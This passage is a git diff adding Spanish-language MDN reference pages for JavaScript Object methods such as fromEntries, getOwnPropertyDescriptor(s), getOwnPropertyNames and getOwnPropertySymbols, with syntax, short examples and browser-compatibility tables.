+ <dd>Un iterador como {{jsxref("Array")}}, {{jsxref("Map")}} u otros objetos que implementen el <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">protocolo iterable</a>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un nuevo objeto cuyas propiedades son dadas por las entradas del iterador.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>Object.fromEntries()</code> toma una lista de pares con clave-valor y devuelve un nuevo objeto cuyas propiedades son dadas por éstas entradas. El argumento <em>iterador </em>se espera que sea un objeto que implemente un método <code>@@iterator</code>, que devuelve un objeto iterador, que produce un objeto tipo array de dos elementos, donde el primer elemento es un valor que se usará como la clave de la propiedad, y el segundo elemento es el valor a asociar con esa clave de propiedad.</p>
+
+<p><code>Object.fromEntries()</code> realiza lo inverso de {{jsxref("Object.entries()")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Convirtiendo_un_Map_en_un_Objeto">Convirtiendo un <code>Map</code> en un <code>Objeto</code></h3>
+
+<p>Con <code>Object.fromEntries</code>, puedes convertir de un {{jsxref("Map")}} a un {{jsxref("Object")}}:</p>
+
+<pre class="brush: js notranslate">const map = new Map([ ['foo', 'bar'], ['baz', 42] ]);
+const obj = Object.fromEntries(map);
+console.log(obj); // { foo: "bar", baz: 42 }
+</pre>
+
+<h3 id="Convirtiendo_un_Arreglo_en_un_Objeto">Convirtiendo un <code>Arreglo</code> en un <code>Objeto</code></h3>
+
+<p>Con <code>Object.fromEntries</code>, puedes convertir de un {{jsxref("Array")}} a un {{jsxref("Object")}}:</p>
+
+<pre class="brush: js notranslate">const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ];
+const obj = Object.fromEntries(arr);
+console.log(obj); // { 0: "a", 1: "b", 2: "c" }
+</pre>
+
+<h3 id="Transformación_de_Objetos">Transformación de Objetos</h3>
+
+<p>Con <code>Object.fromEntries</code>, su método inverso {{jsxref("Object.entries()")}}, y <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array#Methods_2">array métodos de manipulaciín de arreglos</a>, puedes transformar objetos así:</p>
+
+<pre class="brush: js notranslate">const object1 = { a: 1, b: 2, c: 3 };
+
+const object2 = Object.fromEntries(
+  Object.entries(object1)
+  .map(([ key, val ]) =&gt; [ key, val * 2 ])
+);
+
+console.log(object2);
+// { a: 2, b: 4, c: 6 }</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.fromentries', 'Object.fromEntries')}}</td>
+   <td>Etapa 4</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.fromEntries")}}</p>
+
+<h2 id="Véase_tambien">Véase tambien</h2>
+
+<ul>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/getnotifier/index.html b/files/es/web/javascript/referencia/objetos_globales/object/getnotifier/index.html
new file mode 100644
index 0000000000..91521354cc
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/getnotifier/index.html
@@ -0,0 +1,92 @@
+---
+title: Object.getNotifier()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/getNotifier
+tags:
+  - JavaScript
+  - Método(2)
+  - No estándar(2)
+  - Objeto
+translation_of: Archive/Web/JavaScript/Object.getNotifier
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método <strong><code>Object.getNotifer()</code></strong> es usado para crear un objeto que permita gatillar un cambio sinteticamente.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><code>Object.getNotifier(<em>obj</em>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto del cuál se obtiene el notificador.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El notificador es usado para gatillar cambios sinteticos que serán observados por <code>Object.observe()</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal specification.</a></p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.observe()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Object.unobserve()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/getownpropertydescriptor/index.html b/files/es/web/javascript/referencia/objetos_globales/object/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..fb2eaf68da
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/getownpropertydescriptor/index.html
@@ -0,0 +1,161 @@
+---
+title: Object.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/getOwnPropertyDescriptor
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Método(2)
+  - Objeto
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.getOwnPropertyDescriptor()</strong></code> regresa como descripción de propiedad para una propiedad propia (eso es, una presente directamente en el objeto, no presente por la fuerza a través de la cadena de prototipo del objeto) de un objeto dado.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><code>Object.getOwnPropertyDescriptor(<var>obj</var>, <var>prop</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto en el que se busca la propiedad.</dd>
+ <dt><code>prop</code></dt>
+ <dd>El nombre de la propiedad del cuál se obtendrá la descripción.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un descriptor de propiedad de una propiedad dada si existe en el objeto,  {{jsxref("undefined")}} en cualquier otro caso.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Éste método permite la examinación precisa de la descripción de una propiedad. Una propiedad en JavaScript consiste de el nombre de una cadena de valor y un descriptor de propiedad. Información más detallada acerca de los tipos de descripciones y sus atributos puede ser encontrada en {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Una descripción de propiedad es un registro con alguno de los siguientes atributos:</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>El valor asociado con la propiedad (descriptores de datos unicamente).</dd>
+ <dt><code><strong>writable</strong></code></dt>
+ <dd><code>true</code> si y solo si el valor asociado con la propiedad puede ser cambiada (descriptores de datos unicamente).</dd>
+ <dt><code>get</code></dt>
+ <dd>Una función que sirve como método de acceso para la propiedad, o {{jsxref("undefined")}} si no hay método de acceso (métodos de acceso de descripciones unicamente).</dd>
+ <dt><code>set</code></dt>
+ <dd>Una función que sirve como método de establecimiento para la propieda, o {{jsxref("undefined")}} si no hay método de establecimiento (métodos de establecimiento de descripciones unicamente).</dd>
+ <dt><code>configurable</code></dt>
+ <dd><code>true</code> si y solo si el tipo de ésta descripción de propiedad puede ser cambiada y si la propiedad puede ser eliminada del objeto correspondiente.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd><code>true</code> si y solo si ésta propiedad aparece durante la enumeración de las propiedades del objeto correspondiente.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var o, d;
+
+o = { get foo() { return 17; } };
+d = Object.getOwnPropertyDescriptor(o, 'foo');
+// d is { configurable: true, enumerable: true, get: /* la función de acceso */, set: undefined }
+
+o = { bar: 42 };
+d = Object.getOwnPropertyDescriptor(o, 'bar');
+// d is { configurable: true, enumerable: true, value: 42, writable: true }
+
+o = {};
+Object.defineProperty(o, 'baz', { value: 8675309, writable: false, enumerable: false });
+d = Object.getOwnPropertyDescriptor(o, 'baz');
+// d es { value: 8675309, writable: false, enumerable: false, configurable: false }
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>En ES5, si el primer argumento que se le pasa a éste método no es un objeto (primitivo), entonces causará un {{jsxref("TypeError")}}. En ES6, un no-objeto pasado como primer argumento será convertido (coerción) a un objeto en primera instancia.</p>
+
+<pre class="brush: js">Object.getOwnPropertyDescriptor("foo", 0);
+// TypeError: "foo" is not an object  // Código ES5
+
+Object.getOwnPropertyDescriptor("foo", 0);
+// {configurable:false, enumerable:true, value:"f", writable:false}  // Código ES6
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatIE("8")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/getownpropertydescriptors/index.html b/files/es/web/javascript/referencia/objetos_globales/object/getownpropertydescriptors/index.html
new file mode 100644
index 0000000000..9585fa80e8
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/getownpropertydescriptors/index.html
@@ -0,0 +1,117 @@
+---
+title: Object.getOwnPropertyDescriptors()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/getOwnPropertyDescriptors
+tags:
+  - JavaScript
+  - Objeto
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors
+---
+<div>{{JSRef}}</div>
+
+<p>El método<code><strong>Object.getOwnPropertyDescriptors()</strong></code><strong> </strong>regresa todos los descriptores de propiedad propios de un objeto dado.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-getownpropertydescriptors.html")}}</div>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox">Object.getOwnPropertyDescriptors(<var>obj</var>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto para el cual obtener todos los descriptores de propiedad.</dd>
+</dl>
+
+<h3 id="Valores_devueltos">Valores devueltos</h3>
+
+<p>Un objeto que contiene todos los descriptores de propiedad propios de un objeto.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Este método permite la examinación de la descripción precisa de todas las propiedades de un objeto. Una propiedad en JavaScript consiste en un valor-cadena nombre y un descriptor de propiedad. Más información acerca de los tipos de descriptores de propiedad y sus atributos pueden ser encontrados en {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Un descriptor de propiedad es un registro con algunos de los siguientes atributos:</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>El valor asociado con la propiedad (solo descriptores de datos).</dd>
+ <dt><code><strong>writable</strong></code></dt>
+ <dd><code>true</code> si y solo si el valor asociado con la propiedad puede ser cambiado (solo descriptores de datos).</dd>
+ <dt><code>get</code></dt>
+ <dd>Un función que sirve como un getter para la propiedad, o {{jsxref("undefined")}} si no hay getter (solo descriptores de acceso).</dd>
+ <dt><code>set</code></dt>
+ <dd>Una función que sirve como un setter para la propiedad, o {{jsxref("undefined")}} si no hay setter (solo descriptores de acceso).</dd>
+ <dt><code>configurable</code></dt>
+ <dd><code>true</code> si y solo si el tipo de este descriptor de propiedad puede ser cambiado y si la propiedad puede ser borrada de el objeto correspondiente.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd><code>true</code> si y solo si esta propiedad aparece durante la enumeración de las propiedad en el objeto correspondiente.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Creando_un_clon_superficial">Creando un clon superficial</h3>
+
+<p>Mientras el método {{jsxref("Object.assign()")}} solo copiará las propiedades enumerables y propias de un objeto fuente a un objeto destino, puedes usar este método y {{jsxref("Object.create()")}} para una copia superficial entre dos objetos desconocidos:</p>
+
+<pre class="brush: js">Object.create(
+  Object.getPrototypeOf(obj),
+  Object.getOwnPropertyDescriptors(obj)
+);
+</pre>
+
+<h3 id="Creando_una_subclase">Creando una subclase</h3>
+
+<p>Una manera típica de crear una subclase es definir la subclase, establecer su prototipo a una instancia de la superclase, y después definir propiedades en esa instancia. Esto puede ponerse incómodo especialmente por los getters y setters. En cambio, tú puedes usar este código para establecer el prototipo:</p>
+
+<pre class="brush: js">function superclass() {}
+superclass.prototype = {
+  // Define tus métodos y propiedades aquí
+};
+function subclass() {}
+subclass.prototype = Object.create(
+  superclass.prototype,
+  {
+    // Define tus métodos y propiedades aquí
+  }
+);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definición inicial en ECMAScript 2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si quisieras contribuir con los datos, por favor vaya a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> mándenos una petición pull.</div>
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertyDescriptors")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también:</h2>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li><a href="https://github.com/tc39/proposal-object-getownpropertydescriptors">Polyfill</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/getownpropertynames/index.html b/files/es/web/javascript/referencia/objetos_globales/object/getownpropertynames/index.html
new file mode 100644
index 0000000000..5c3819045a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/getownpropertynames/index.html
@@ -0,0 +1,163 @@
+---
+title: Object.getOwnPropertyNames()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/getOwnPropertyNames
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}}</div>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>El método <code><strong>Object.getOwnPropertyNames()</strong></code> devuelve un array con todas las propiedades (numerables o no) encontradas en un objeto dado.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox"><code>Object.getOwnPropertyNames(<em>obj</em>)</code></pre>
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+<dl>
+ <dt>
+  obj</dt>
+ <dd>
+  El objeto cuyas propiedades directas, numerables <em>y no-numerables</em>, serán devueltas.</dd>
+</dl>
+<h2 id="Description" name="Description">Descripción</h2>
+<p><code>Object.getOwnPropertyNames</code> devuelve un array cuyos elementos son <em>strings </em>correspondientes a cada una de las propiedades encontradas directamente en <code>obj</code>. El orden de las propiedades numerables en el array coincide con el expuesto para <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in loop</a> (o para {{jsxref("Object.keys")}}) con respecto a las propiedades del object. El orden de las propiedades no-numerables del array, y de éstas respecto a las numerables, no está definido.</p>
+<h2 id="Ejemplos">Ejemplos</h2>
+<pre class="brush: js">var arr = ["a", "b", "c"];
+print(Object.getOwnPropertyNames(arr).sort()); // imprime "0,1,2,length"
+
+// Objeto similar a Array
+var obj = { 0: "a", 1: "b", 2: "c"};
+print(Object.getOwnPropertyNames(obj).sort()); // imprime "0,1,2"
+
+// Imprime nombres de variables y valores usando Array.forEach
+Object.getOwnPropertyNames(obj).forEach(function(val, idx, array) {
+  print(val + " -&gt; " + obj[val]);
+});
+// imprime
+// 0 -&gt; a
+// 1 -&gt; b
+// 2 -&gt; c
+
+// propiedad no-numerable
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; }, enumerable: false } });
+my_obj.foo = 1;
+
+print(Object.getOwnPropertyNames(my_obj).sort()); // imprime "foo, getFoo"
+</pre>
+<p>Si se quiere solo las propiedades numerables, ver {{jsxref("Object.keys")}} o usar un <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in loop</a> (aunque esto devolvería propiedades numerables no directas del <span style="line-height: 1.5;">objeto pertenecientes a la cadena de <em>prototype</em> a la que pertenezca, a menos que finalmente se filtre con hasOwnProperty()).</span></p>
+<p>Items de la cadena <em>prototype</em> no se listan:</p>
+<pre class="brush: js">function ParentClass () {
+}
+ParentClass.prototype.inheritedMethod = function () {
+};
+
+function ChildClass () {
+  this.prop = 5;
+  this.method = function () {};
+}
+ChildClass.prototype = new ParentClass;
+ChildClass.prototype.prototypeMethod = function () {
+};
+
+alert(
+  Object.getOwnPropertyNames(
+    new ChildClass() // ["prop", "method"]
+  )
+)
+</pre>
+<h3 id="Get_Non-Enumerable_Only">Get Non-Enumerable Only</h3>
+<p>Aquí se usa la función Array.prototype.filter para quitar las <em>keys</em> numerables (obtenidas con Object.keys) de una lista con todas las <em>keys</em> (obtenida con Object.getOwnPropertynames) dejando solo las no-numerables.</p>
+<pre class="brush: js">var target = myObject;
+var enum_and_nonenum = Object.getOwnPropertyNames(target);
+var enum_only = Object.keys(target);
+var nonenum_only = enum_and_nonenum.filter(function(key) {
+  var indexInEnum = enum_only.indexOf(key)
+  if (indexInEnum == -1) {
+    //no encontrada en las keys de enum_only, por lo que se trata de una key numerable, se devuelve true para mantenerla en filter
+    return true;
+  } else {
+    return false;
+  }
+});
+
+console.log(nonenum_only);
+</pre>
+<h2 id="Especificaciones">Especificaciones</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.4', 'Object.getOwnPropertyNames')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition.<br>
+    Implemented in JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilidad_con_Navegadores"> Compatibilidad con Navegadores</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Firefox (Gecko)</th>
+    <th>Chrome</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>4 (2.0)</td>
+    <td>5</td>
+    <td>9</td>
+    <td>12</td>
+    <td>5</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Android</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>Based on <a href="http://kangax.github.com/es5-compat-table/">Kangax's compat table</a>.</p>
+<h3 id="SpiderMonkey-specific_notes">SpiderMonkey-specific notes</h3>
+<ul>
+ <li>Prior to SpiderMonkey 28 {{geckoRelease("28")}}, <code>Object.getOwnPropertyNames</code> did not see unresolved properties of {{jsxref("Error")}} objects. This has been fixed in later versions ({{bug("724768")}}).</li>
+</ul>
+<h2 id="See_also" name="See_also">Ver también</h2>
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties" title="Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable")}}</li>
+ <li>{{jsxref("Object.create")}}</li>
+ <li>{{jsxref("Object.keys")}}</li>
+ <li>{{jsxref("Array.forEach()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/getownpropertysymbols/index.html b/files/es/web/javascript/referencia/objetos_globales/object/getownpropertysymbols/index.html
new file mode 100644
index 0000000000..cf8be23f59
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/getownpropertysymbols/index.html
@@ -0,0 +1,123 @@
+---
+title: Object.getOwnPropertySymbols()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/getOwnPropertySymbols
+tags:
+  - ECMAScript6
+  - Experimental
+  - JavaScript
+  - Método(2)
+  - Objeto
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.getOwnPropertySymbols()</strong></code> regresa una colección de todos las propiedades de los simbolos encontrados directamente en un objeto dado.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><code>Object.getOwnPropertySymbols(<var>obj</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto del cual los simbolos de propiedades son devueltos.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Similar a {{jsxref("Object.getOwnPropertyNames()")}}, puedes obtener todas las propiedades de simbolos de un objeto dado como una colección de simbolos. Note que {{jsxref("Object.getOwnPropertyNames()")}} no contiene en sí mismo las propiedades de simbolos de un objeto y solo contiene las propiedades de cadenas.</p>
+
+<p>Cómo todos los objetos no tienen inicialmente propiedades simbolos propios, <code>Object.getOwnPropertySymbols()</code> regresa una colección vacia a menos que tengas propiedades de simbolos establecidas en tu objeto.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var obj = {};
+var a = Symbol('a');
+var b = Symbol.for('b');
+
+obj[a] = 'localSymbol';
+obj[b] = 'globalSymbol';
+
+var objectSymbols = Object.getOwnPropertySymbols(obj);
+
+console.log(objectSymbols.length); // 2
+console.log(objectSymbols);        // [Symbol(a), Symbol(b)]
+console.log(objectSymbols[0]);     // Symbol(a)
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5.1</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/getprototypeof/index.html b/files/es/web/javascript/referencia/objetos_globales/object/getprototypeof/index.html
new file mode 100644
index 0000000000..a9b50ec2ec
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/getprototypeof/index.html
@@ -0,0 +1,137 @@
+---
+title: Object.getPrototypeOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/getPrototypeOf
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Objeto
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método <code><strong>Object.getPrototypeOf()</strong></code> devuelve el prototipo (es decir, el valor de la propiedad interna <code>[[Prototype]]</code>) del objeto especificado.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Object.getPrototypeOf(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto cuyo prototipo va a ser devuelto.</dd>
+</dl>
+
+<h3 id="Valor_Devuelto">Valor Devuelto</h3>
+
